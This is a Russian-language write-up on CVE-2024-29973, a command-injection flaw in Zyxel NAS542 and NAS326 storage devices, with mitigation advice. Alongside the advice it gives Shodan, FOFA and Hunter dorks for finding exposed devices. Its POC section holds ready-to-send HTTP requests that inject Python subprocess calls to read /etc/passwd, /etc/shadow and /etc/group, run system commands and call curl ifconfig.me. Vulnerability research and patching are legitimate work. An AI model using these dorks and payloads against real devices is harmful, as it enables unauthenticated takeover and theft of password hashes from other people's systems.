CVE-2024-29973 - Уязвимость удаленного выполнения команд

Описание

CVE-2024-29973 — это критическая уязвимость, обнаруженная в некоторых сетевых устройствах Zyxel. Эта уязвимость позволяет неаутентифицированному злоумышленнику выполнять произвольные команды на целевом устройстве, используя неправильные механизмы проверки входных данных в прошивке. Злоумышленники могут отправлять на устройство специально сформированные HTTP-запросы, внедряя системные команды и потенциально получая полный контроль над устройством.

Дорки (поисковые запросы)

Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326" FOFA: app="NAS542" || app="ZYXEL-NAS326" SHODAN: http.title:"Zyxel NAS326"

Как это работает

Инъекция команд: уязвимость возникает из-за недостаточной санитизации входных данных в одном из веб-интерфейсов устройства. Этот недостаток позволяет злоумышленникам добавлять команды операционной системы в параметры HTTP-запросов.

Пример эксплуатации: злоумышленники могут внедрять команды через HTTP GET-запрос, как показано ниже, для выполнения произвольного кода:

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1

Воздействие: успешная эксплуатация приводит к возможности выполнения системных команд, что потенциально может привести к удаленному управлению устройством, утечке данных или дальнейшему взлому сети.

Предотвращение

Чтобы снизить риски, связанные с этой уязвимостью, выполните следующие шаги:

Обновление прошивки: убедитесь, что все устройства Zyxel обновлены до последней версии прошивки. Zyxel выпустил патчи, устраняющие эту уязвимость. Регулярно проверяйте наличие обновлений и своевременно их устанавливайте.

Сегментация сети: изолируйте уязвимые устройства от критической сетевой инфраструктуры. Открывайте только необходимые службы и убедитесь, что административные интерфейсы недоступны публично.

Настройка брандмауэра: ограничьте входящий и исходящий трафик только необходимыми службами. Блокируйте ненужный HTTP-доступ к устройствам Zyxel.

Мониторинг подозрительной активности: внедрите средства журналирования и мониторинга, которые могут обнаруживать и оповещать о необычном поведении, например, о повторных попытках входа или аномальных шаблонах трафика.

Ссылки National Vulnerability Database - CVE-2024-29973 Zyxel Security Advisory

Изображения

POC

/etc/passwd

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1

/etc/shadow

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1

ifconfig

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1

hostname

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1

ip

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1

uname -a

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1

/etc/group

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1